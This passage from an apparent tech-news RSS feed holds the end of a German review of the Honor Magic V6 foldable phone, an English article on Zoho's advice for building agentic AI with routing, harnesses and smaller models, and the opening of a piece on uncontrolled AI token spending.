<p class="wp-block-paragraph">Das Spiel lief bei der Grafikvoreinstellung „Extreme“ flüssig mit 60 FPS, und obwohl es sich ziemlich stark erwärmte – insbesondere im Bereich der Kamera –, schien die Leistung darunter nicht zu leiden. Die beste Erfahrung machte ich mit einem GameSir-Clamp-Controller, der die Wärme von meinen Handflächen fernhielt.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.55.png?w=1024" alt="Honor Magic V6" class="wp-image-4199613" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<h2 class="wp-block-heading">Honor Magic V6 – Benchmark-Ergebnisse</h2>



<p class="wp-block-paragraph">Was die Benchmark-Ergebnisse angeht, wird es recht interessant. Während die meisten Ergebnisse hervorragend waren, hatte das Smartphone erhebliche Schwierigkeiten, den 3DMark Wildlife Extreme Stress Test abzuschließen. Normalerweise führe ich diesen Test bei aufgeklapptem Smartphone durch, doch es überhitzte sich und brach den Benchmark jedes Mal ab, wenn ich es versuchte.</p>



<p class="wp-block-paragraph">Zugegebenermaßen war es in letzter Zeit recht warm, doch so etwas ist mir bisher noch nie passiert. Bei der Durchführung des Tests auf dem Cover-Display konnte es den Test mit einem ordentlichen Ergebnis abschließen, auf dem klappbaren Bildschirm war dies jedoch nicht möglich. Im alltäglichen Gebrauch hatte ich jedoch nie derartige Probleme.</p>



<div class="infogram-embed" data-id="c07985c1-d0b5-46f6-bd84-2898abc5f4fa" data-type="interactive" data-title="Honor Magic V6 benchmarks"></div>




<h2 class="wp-block-heading">Kameras</h2>



<ul class="wp-block-list">
<li>50-MP-Hauptkamera mit f/1,6</li>



<li>64 MP, f/2,5, 3-fach-Tele</li>



<li>50 MP, f/2,2 Ultraweitwinkel</li>



<li>20 MP, f/2,2 Selfie-Kamera</li>
</ul>



<p class="wp-block-paragraph">Das Honor Magic V6 verfügt über dieselbe Kamera-Hardware wie die Vorgängergeneration, was bedeutet, dass es keine nennenswerten Neuerungen gibt.</p>



<p class="wp-block-paragraph">Allerdings verfügte das V5 bereits über eine der beeindruckendsten Kameraausstattungen unter allen faltbaren Smartphones, und die Konkurrenz hat sich in dieser Hinsicht nicht sonderlich ins Zeug gelegt – daher gehört es nach wie vor zu den Besten.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.59.png?w=1024" alt="Honor Magic V6" class="wp-image-4199614" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Auf der Rückseite befindet sich eine 50-MP-Hauptkamera mit einem Sensor von ansehnlicher Größe (1/1,56 Zoll) und einem lichtstarken f/1,6-Objektiv. Hinzu kommen eine 50-MP-Ultraweitwinkelkamera mit einem extrem weiten Sichtfeld (entspricht 13 mm) sowie ein ausgezeichnetes 64-MP-Teleobjektiv. Außerdem gibt es zwei 20-MP-Selfie-Kameras, von denen jeweils eine durch das jeweilige Display ragt.</p>



<p class="wp-block-paragraph">Dies ist eine äußerst vielseitige Objektivausstattung, mit der Sie alles aufnehmen können – von weitläufigen Landschaften bis zu intimen Porträts. Wie üblich hat mir die Verwendung des Teleobjektivs am meisten Spaß gemacht, und dies könnte die beste Tele-Kamera sein, die jemals in einem faltbaren Smartphone verbaut wurde.</p>



<p class="wp-block-paragraph">Es verfügt über einen recht großen 1/2-Zoll-Sensor und kann aus sehr kurzer Entfernung fokussieren. Ihr Motiv muss sich lediglich etwa 20 Zentimeter vom Objektiv entfernt befinden, und in Kombination mit der Brennweite von 70 mm (äquivalent) entsteht so eine schöne perspektivische Kompression und ein natürliches Bokeh.</p>



<p class="wp-block-paragraph">Natürlich können Sie mit einem digitalen Ausschnitt noch weiter zoomen, und die Kamera-App ermöglicht Ihnen auf Wunsch eine bis zu 100-fache Vergrößerung. Bei einer Vergrößerung von mehr als 10-fach können Sie generative KI nutzen, um die Bilder zu bereinigen, doch auch ohne diese Funktion erhalten Sie bereits bei etwa 20-facher Vergrößerung brauchbare Bilder.</p>



<p class="wp-block-paragraph">Ich habe bereits erwähnt, wie weitwinklig das Ultraweitwinkelobjektiv ist, und das gefällt mir besonders gut daran; ansonsten ist es jedoch im Vergleich zu den anderen Objektiven definitiv ein Qualitätsverlust.</p>



<p class="wp-block-paragraph">Nachts ist es zudem am wenigsten überzeugend, da Bewegungsunschärfe dort nur schwer zu bewältigen ist. Bei den richtigen Lichtverhältnissen ist es jedoch zu wirklich beeindruckenden Aufnahmen fähig.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.15.23.png?w=1024" alt="Honor Magic V6" class="wp-image-4199618" width="1024" height="918" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Die Hauptkamera ist wie immer die zuverlässigste des Trios. Dank des größeren Sensors schneidet sie bei schlechten Lichtverhältnissen am besten ab und liefert tagsüber etwas schärfere Bilder als die anderen Kameras.</p>



<p class="wp-block-paragraph">Die Selfie-Kameras sind nichts Besonderes. Sie erfüllen ihren Zweck und eignen sich für Zoom-Anrufe, doch wenn man auf der Rückseite so beeindruckende Kameras hat, lohnt es sich wirklich, das Smartphone umzudrehen und den Bildschirm auf der Rückseite zu nutzen, um wirklich beeindruckende Fotos zu machen.</p>



<p class="wp-block-paragraph">Die Bildverarbeitung von Honor kann etwas unbeständig sein, aber ich habe den Eindruck, dass sie immer konsistenter wird, und wenn sie funktioniert, lassen sich wirklich atemberaubende Bilder erzielen.</p>



<p class="wp-block-paragraph">Mein größter Kritikpunkt ist die Bewegungsunschärfe im Porträtmodus. Ich bin mir nicht sicher, woran es liegt, aber ich erhalte viele unscharfe Aufnahmen, wenn die künstliche Hintergrundunschärfe aktiviert ist – selbst bei guten Lichtverhältnissen.</p>



<p class="wp-block-paragraph">Ansonsten bin ich mit den Bildern, die ich mit dem Magic V6 aufgenommen habe, sehr zufrieden. Die Harcourt-Porträtmodi sind so beeindruckend wie eh und je, und mit den übrigen Filtern lässt sich der Look Ihrer Fotos ziemlich drastisch verändern. Besonders gut gefällt mir der Filter „Nostalgic Negative“, der einen schönen, kontrastreichen Cross-Entwicklungs-Look mit blauen Schatten erzeugt.</p>



<p class="wp-block-paragraph">Was die Videoaufnahmen angeht, ist das Angebot etwas weniger umfangreich. Das soll nicht heißen, dass es schlecht ist, aber nachdem ich viel Zeit mit dem Oppo Find N6 verbracht habe, habe ich mich an ein ordentliches Log-Profil, 4K-120-Aufnahmen und Dolby Vision gewöhnt. Nichts davon ist hier vorhanden. Es gibt zwar ein Log-Profil, dieses funktioniert jedoch nur mit dem Hauptsensor und erzeugt ungewöhnlich körnige Schatten.</p>



<p class="wp-block-paragraph">Wenn Sie jedoch keine ganz so professionellen Ansprüche haben, werden Sie mit der Videoleistung wahrscheinlich sehr zufrieden sein. Sie können mit jeder Kamera bis zu 4K bei 60 FPS aufnehmen, mit Ausnahme der Selfie-Kamera, die maximal 4K bei 30 FPS erreicht. Die Bildstabilisierung ist gut, und auch die Mikrofone sind ordentlich.</p>



<h2 class="wp-block-heading">Akkulaufzeit &amp; Aufladen</h2>



<ul class="wp-block-list">
<li>6.660-mAh-Akku</li>



<li>80-Watt-Laden über Kabel</li>



<li>66 Watt kabelloses Laden</li>
</ul>



<p class="wp-block-paragraph">Das Honor Magic V6 verfügt über den größten Akku aller faltbaren Smartphones, die ich bisher getestet habe. Irgendwie ist es Honor gelungen, einen 6660-mAh-Akku in dieses hauchdünne Gehäuse zu integrieren. Samsun wird hoffentlich davon lernen.</p>



<p class="wp-block-paragraph">Diese Kapazität verblasst zwar im Vergleich zur chinesischen 1-TB-Version dieses Smartphones, die über einen erstaunlichen 7.150-mAh-Akku verfügt, doch wie wir in letzter Zeit oft gesehen haben, bedeuten die EU-Vorschriften, dass wir im Westen keinen ganz so massiven Akku erhalten können.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.15.38.png?w=1024" alt="Honor Magic V6" class="wp-image-4199619" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Das spielt jedoch keine allzu große Rolle, denn dieser Akku ist mehr als gut genug. Obwohl ich den großen internen Bildschirm häufig nutzte und unzählige Fotos machte, reichte die Akkulaufzeit dieses Smartphones während des Großteils meiner Tests für eineinhalb Tage. Natürlich verkürzt intensives Gaming die Laufzeit etwas, aber Sie werden das Gerät selten, wenn überhaupt, vor dem Schlafengehen aufladen müssen.</p>



<p class="wp-block-paragraph">Auch das Aufladen erfolgt schnell, vorausgesetzt, Sie verfügen über ein ausreichend leistungsstarkes Netzteil (im Lieferumfang ist lediglich ein USB-C-Kabel enthalten), um die 80-Watt-Geschwindigkeit nutzen zu können. Ich konnte das Gerät in nur einer halben Stunde von leer auf fast 70 Prozent aufladen; mehr kann man sich kaum wünschen.</p>



<p class="wp-block-paragraph">Wenn Sie kabelloses Laden bevorzugen, ist dies ohne nennenswerte Einbußen bei der Geschwindigkeit möglich. Das Honor Magic V6 lässt sich mit einem offiziellen kabellosen Ladepad von Honor mit bis zu 66 Watt aufladen.</p>



<h2 class="wp-block-heading">Software &amp; Apps</h2>



<ul class="wp-block-list">
<li>MagicOS 10, basierend auf Android 16</li>



<li>Zahlreiche KI-Funktionen</li>



<li>Kompatibilität mit dem Apple-Ökosystem</li>
</ul>



<p class="wp-block-paragraph">Auf dem Magic V6 läuft MagicOS 10, Honors eigene Variante von <a href="https://www.pcwelt.de/article/2781437/android-16-release-design-funktionen-kompatible-geraete.html" target="_blank">Android 16</a>. Es handelt sich im Wesentlichen um dieselbe Software, die wir bereits von den letzten Honor-Flaggschiffmodellen kennen. Wenn Sie also bereits eines dieser Modelle ausprobiert haben, werden Sie kaum Überraschungen erleben.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.15.46.png?w=1024" alt="Honor Magic V6" class="wp-image-4199620" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Die Software von Honor kann die Meinungen spalten. Sie weicht ziemlich stark vom typischen Android-Erlebnis ab; stattdessen erinnert sie zunehmend an iOS. Ob das nun gut ist oder nicht, hängt ganz von Ihren Vorlieben ab.</p>



<p class="wp-block-paragraph">Allerdings lässt sich die Benutzeroberfläche extrem gut anpassen – wenn Ihnen also das Design oder das Layout einer Funktion nicht gefällt, können Sie es höchstwahrscheinlich ändern.</p>



<p class="wp-block-paragraph">Insgesamt gefällt sie mir recht gut. Sie wirkt schnell und reaktionsfreudig, sieht standardmäßig ansprechend aus und bietet zahlreiche Werkzeuge zur weiteren Anpassung. Wie bereits erwähnt, gibt es zahlreiche Anlehnungen an iOS, darunter einige „Liquid Glass“-ähnliche Elemente, einen „Dynamic Island“-Klon, geteilte Benachrichtigungen/Schnelleinstellungen sowie die Möglichkeit, die App-Übersicht zu deaktivieren.</p>



<p class="wp-block-paragraph">Das sind zwar nicht die originellsten Entscheidungen, aber sie funktionieren gut, und die meisten sind vollkommen optional.</p>



<p class="wp-block-paragraph">Honor bietet Ihnen eine Vielzahl von KI-Funktionen, darunter die üblichen Tools für Transkription, Übersetzung und Zusammenfassung sowie einige sehr fortschrittliche Funktionen zur Fotobearbeitung.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.15.53.png?w=1024" alt="Honor Magic V6" class="wp-image-4199623" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Auch das Multitasking ist hervorragend. Sie können Apps im Split-View nebeneinander anzeigen und dann eine dritte hinzufügen, die nur am Rand des Bildschirms hervorblitzt und bei Bedarf sofort einsatzbereit ist. Oder, wenn Sie es vorziehen, können Sie schwebende Fenster nutzen und so noch mehr Inhalte gleichzeitig auf dem Bildschirm anzeigen.</p>



<p class="wp-block-paragraph">Am spannendsten finde ich jedoch die Art und Weise, wie sich das Magic V6 in Apple-Produkte integrieren lässt. Insbesondere, wie gut es mit meinem Macbook zusammenarbeitet. Wenn Sie die Honor Workstation-App aus dem Mac App Store installieren, können Sie Dateien austauschen, zwischen Geräten kopieren und einfügen, Ihr Smartphone fernsteuern und das V6 sogar als drahtlosen zweiten Bildschirm nutzen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.15.58.png?w=1024" alt="Honor Magic V6" class="wp-image-4199625" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Doch damit ist der Spaß noch lange nicht vorbei. Das Honor Magic V6 kann auch nativ Dateien in Ihrem iCloud-Konto durchsuchen und verwalten, und mit Honor Connect können Sie Dateien auch per AirDrop zu und von iPhones übertragen. Das ist großartig, wenn Sie ständig zwischen verschiedenen Ökosystemen hin- und herwechseln (wie ich es oft tue).</p>



<p class="wp-block-paragraph">Insgesamt ist es also ein solides Software-Erlebnis, das jedoch nicht ganz ohne Nachteile ist. Meine größte Kritik an Honor-Smartphones ist seit einigen Jahren unberücksichtigt geblieben. Das Akkumanagement ist extrem aggressiv und beendet standardmäßig Hintergrund-Apps mit rücksichtsloser Härte.</p>



<p class="wp-block-paragraph">Das bedeutet, dass Sie häufig unter stark verzögerten Benachrichtigungen leiden, bis Sie einige Einstellungen anpassen und sicherstellen, dass diese Apps geöffnet bleiben.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.16.03.png?w=1024" alt="Honor Magic V6" class="wp-image-4199626" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph"><br><br>Das lässt sich zwar leicht beheben, und ich kann die Logik dahinter nachvollziehen – schließlich bieten Honor-Smartphones stets eine hervorragende Akkulaufzeit –, doch es ist äußerst ärgerlich, und ich würde mich sehr freuen, wenn dieses Problem behoben würde.</p>



<p class="wp-block-paragraph">Honor verspricht sieben Jahre lang Software-Updates und Sicherheitspatches für seine Flaggschiff-Geräte und liegt damit auf einer Stufe mit Samsung und Apple. Viel besser geht es kaum, auch wenn Sie möglicherweise eine Weile auf das auf <a href="https://www.pcwelt.de/article/2990238/android-17-release-features-update-2.html" target="_blank">Android 17</a> basierende MagicOS 11 warten müssen.</p>



<h2 class="wp-block-heading">Preis &amp; Verfügbarkeit</h2>



<p class="wp-block-paragraph">Das Honor Magic V6 kann ab sofort in Deutschland und den meisten anderen Ländern der Welt bestellt werden, wobei die USA wie üblich ausgeschlossen sind. Hierzulande liegt der Preis bei stolzen <a href="https://www.pcwelt.de/article/3183215/honor-magic-v6-test-review.html#" target="_blank">2.299 Euro</a>, wobei es bis zum 31. Juli noch einen Rabatt von 600 Euro gibt (Endpreis: 1.699,90 Euro).</p>



<p class="wp-block-paragraph">Als besonderes Einführungsangebot legt Honor auch eine Reihe kostenloser Extras wie ein Tablet, einen Stift und ein Set Earbuds bei. Das macht eine Beurteilung des Preises ziemlich schwierig. Auf dem Papier ist das Magic V6 deutlich teurer als das V5, das im vergangenen Jahr für 1.999 Euro auf den Markt kam. Und das schmerzt, insbesondere wenn man bedenkt, dass es seinem Vorgänger so ähnlich ist. Mit dem Rabatt ist es jedoch günstiger.</p>



<p class="wp-block-paragraph">Preislich bewegt es sich trotzdem noch in einem ähnlichen Rahmen wie viele andere Falt-Smartphones, die wir getestet haben. Darunter das <a href="https://www.pcwelt.de/article/3168239/motorola-razr-fold-test.html" target="_blank">Motorola Razr Fold</a>, <a href="https://www.pcwelt.de/article/2843601/samsung-galaxy-z-fold-7-test.html" target="_blank">das Samsung Galaxy Z Fold 7</a> und <a href="https://www.pcwelt.de/article/2945312/google-pixel-10-pro-test-3.html" target="_blank">das Google Pixel 10 Pro Fold</a>.</p>



<h2 class="wp-block-heading">Sollten Sie das Honor Magic V6 kaufen?</h2>



<p class="wp-block-paragraph">Das Magic V6 ist zweifellos eines der attraktivsten faltbaren Smartphones, die derzeit auf dem Markt erhältlich sind. Die Hardware ist hervorragend, die Bildschirme sind beeindruckend, es ist leistungsstark und die Kameras sind erstklassig. Wenn Sie ein faltbares Smartphone mit großem Bildschirm suchen, aber bei den Kameras keine allzu großen Abstriche machen möchten, ist dies eine hervorragende Wahl.</p>



<p class="wp-block-paragraph">Allerdings könnten versierte Käufer sich für das <a href="https://www.pcwelt.de/article/2838914/honor-magic-v5-test.html" target="_blank">Vorjahresmodell</a> entscheiden und für deutlich weniger Geld ein sehr ähnliches Gesamterlebnis erhalten. Es ist nach wie vor extrem leistungsstark und verfügt über dieselben Kameras. Es wird jedoch nicht ewig vorrätig sein.</p>



<p class="wp-block-paragraph">Man sollte auch bedenken, dass das Galaxy Z Fold 8 und das Z Fold 8 Ultra voraussichtlich im Juli 2026 erscheinen werden, während Apples lang erwartetes faltbares iPhone wahrscheinlich im September vorgestellt wird. Ich persönlich würde mir daher erst einmal ansehen, was diese Modelle zu bieten haben, bevor ich den Sprung wage.</p>



<p class="wp-block-paragraph">Wenn Sie nicht warten können, ist das Honor Magic V6 eine hervorragende Wahl und wird dies wahrscheinlich auch bleiben. Ich kann mir nicht vorstellen, dass Samsung die Akkukapazität übertreffen wird, und ich bezweifle sehr, dass es in puncto Kameraleistung übertroffen wird. Abgesehen von ein paar kleinen Software-Mängeln ist es ein brillantes Smartphone.</p>



<h2 class="wp-block-heading">Technische Daten</h2>



<ul class="wp-block-list">
<li>MagicOS 10, basierend auf Android 16</li>



<li>Außen: 6,52 Zoll, 1.080 x 2.420, OLED, 120 Hz</li>



<li>Innen: 7,95 Zoll, 2172 × 2352, OLED, 120 Hz</li>



<li>Fingerabdrucksensor im Ein-/Aus-Schalter</li>



<li>Qualcomm Snapdragon 8 Elite Gen 5</li>



<li>16 GB RAM</li>



<li>512 GB Speicher</li>



<li>Kamera:</li>



<li>50 MP, f/1,6 Hauptkamera</li>



<li>64 MP, f/2,5, 3-fach-Teleobjektiv</li>



<li>50 MP, f/2,2 Ultraweitwinkel</li>



<li>Doppelte 20-MP-Selfie-Kamera mit f/2,2</li>



<li>Videoaufnahmen mit bis zu 4K bei 60 fps (Rückkamera)</li>



<li>Stereolautsprecher</li>



<li>Dual-SIM</li>



<li>WLAN 802.11 a/b/g/n/ac/6e/7</li>



<li>Bluetooth 6.0</li>



<li>6660-mAh-Akku</li>



<li>80-W-Laden über Kabel</li>



<li>66 W kabelloses Laden</li>



<li>156,7 × 74,5 × 8,8 mm (zusammengeklappt)</li>



<li>IP69-zertifiziert</li>



<li>219 g</li>



<li>Farben: Gold, Rot, Weiß, Schwarz</li>
</ul>



<p class="wp-block-paragraph">(<a href="https://www.pcwelt.de/article/3183215/honor-magic-v6-test-review.html" data-type="link" data-id="https://www.pcwelt.de/article/3183215/honor-magic-v6-test-review.html" target="_blank">PC-Welt</a>)</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



